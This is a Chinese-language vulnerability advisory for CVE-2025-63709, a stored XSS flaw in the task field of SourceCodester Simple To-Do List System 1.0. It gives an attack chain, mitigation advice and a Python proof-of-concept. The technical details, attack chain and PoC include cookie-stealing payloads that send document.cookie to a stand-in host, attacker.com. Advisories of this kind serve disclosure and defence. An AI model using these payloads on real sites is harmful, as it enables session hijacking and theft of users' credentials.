IPBUF安全漏洞报告
English
CVE-2025-63709 CVSS 5.4 中危

CVE-2025-63709 SourceCodester Simple To-Do List System 存储型XSS漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-63709
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Simple To-Do List System 1.0

相关标签

CVE-2025-63709XSS存储型XSS跨站脚本攻击SourceCodesterSimple To-Do List SystemWeb应用安全认证绕过会话劫持MEDIUM

漏洞概述

CVE-2025-63709是SourceCodester Simple To-Do List System 1.0中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于系统的"Add Tasks"(添加任务)功能模块,攻击者可以在任务输入字段中注入恶意的HTML或JavaScript代码。由于应用程序未对用户输入进行充分的清理和编码处理,注入的恶意脚本会被永久存储在数据库中。当其他用户查看包含恶意脚本的任务列表时,这些脚本将在其浏览器中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意操作。攻击者利用此漏洞需要具备低权限的认证用户身份,但成功利用后可以获取访问该系统的任意用户的敏感数据,包括Cookie、会话令牌等。由于该漏洞为存储型XSS,恶意脚本会在所有访问受影响页面的用户浏览器中执行,因此危害范围较广。CVSS评分5.4分,属于中等严重程度,主要因为其需要认证且需要用户交互才能触发。

技术细节

该存储型XSS漏洞存在于SourceCodester Simple To-Do List System 1.0的任务添加功能中。漏洞产生的根本原因在于应用程序在后端处理用户输入时缺乏输入验证和输出编码机制。具体来说,当用户通过"Add Tasks"功能提交任务时,系统直接将用户输入的内容存储到数据库中,未对特殊字符(如<、>、"、'、/等)进行HTML实体编码或移除JavaScript事件处理器(如onerror、onload、onclick等)。存储后的恶意脚本在以下场景会被触发:1) 其他用户查看任务列表页面;2) 管理员审核任务;3) 任何用户浏览包含恶意任务的页面。由于浏览器会解析并执行页面中的JavaScript代码,攻击者注入的脚本会在受害者浏览器上下文中执行,从而实现窃取Cookie、劫持会话、执行任意操作等目的。攻击者通常会构造如<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>等Payload来利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取系统低权限账户(通过注册或已知凭据)
STEP 2
步骤2
攻击者登录系统并访问"Add Tasks"功能模块
STEP 3
步骤3
在任务输入字段中注入恶意XSS Payload,如<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
STEP 4
步骤4
系统将包含恶意脚本的任务内容未经过滤直接存储到数据库
STEP 5
步骤5
受害者(普通用户或管理员)访问任务列表页面
STEP 6
步骤6
受害者浏览器解析页面时执行注入的恶意JavaScript代码
STEP 7
步骤7
恶意脚本窃取受害者的Cookie/会话信息并发送到攻击者控制的服务器
STEP 8
步骤8
攻击者利用窃取的会话信息劫持受害者账户,执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-63709 PoC - Stored XSS in SourceCodester Simple To-Do List System # Target: SourceCodester Simple To-Do List System 1.0 TARGET_URL = "http://target-website.com" # Replace with actual target URL LOGIN_URL = f"{TARGET_URL}/login.php" # Adjust path as needed ADD_TASK_URL = f"{TARGET_URL}/add_task.php" # Adjust path as needed # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Alternative payload: '<img src=x onerror=alert(document.cookie)>' def exploit(): """ Exploit stored XSS vulnerability in task input field """ session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'username': 'attacker', # Low-privilege user 'password': 'password123' } try: response = session.post(LOGIN_URL, data=login_data, timeout=10) # Step 2: Add malicious task with XSS payload task_data = { 'task': XSS_PAYLOAD, # Inject XSS payload 'submit': 'Add Task' } response = session.post(ADD_TASK_URL, data=task_data, timeout=10) # Step 3: When victim views task list, XSS will execute print("[+] XSS payload submitted successfully") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Any user viewing the task list will have their cookies stolen") except requests.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": print("CVE-2025-63709 - Stored XSS in Simple To-Do List System") exploit()

影响范围

SourceCodester Simple To-Do List System 1.0

防御指南

临时缓解措施
在供应商发布官方修复补丁之前,可以采取以下临时缓解措施:1) 限制用户输入长度和字符类型,只允许字母、数字和基本标点符号;2) 在前端和后端同时实施输入验证和过滤;3) 部署Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;4) 提醒用户不要点击来源不明的链接;5) 实施严格的会话管理策略,缩短会话超时时间;6) 监控应用日志,检测异常的JavaScript执行行为;7) 考虑临时禁用任务添加功能直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表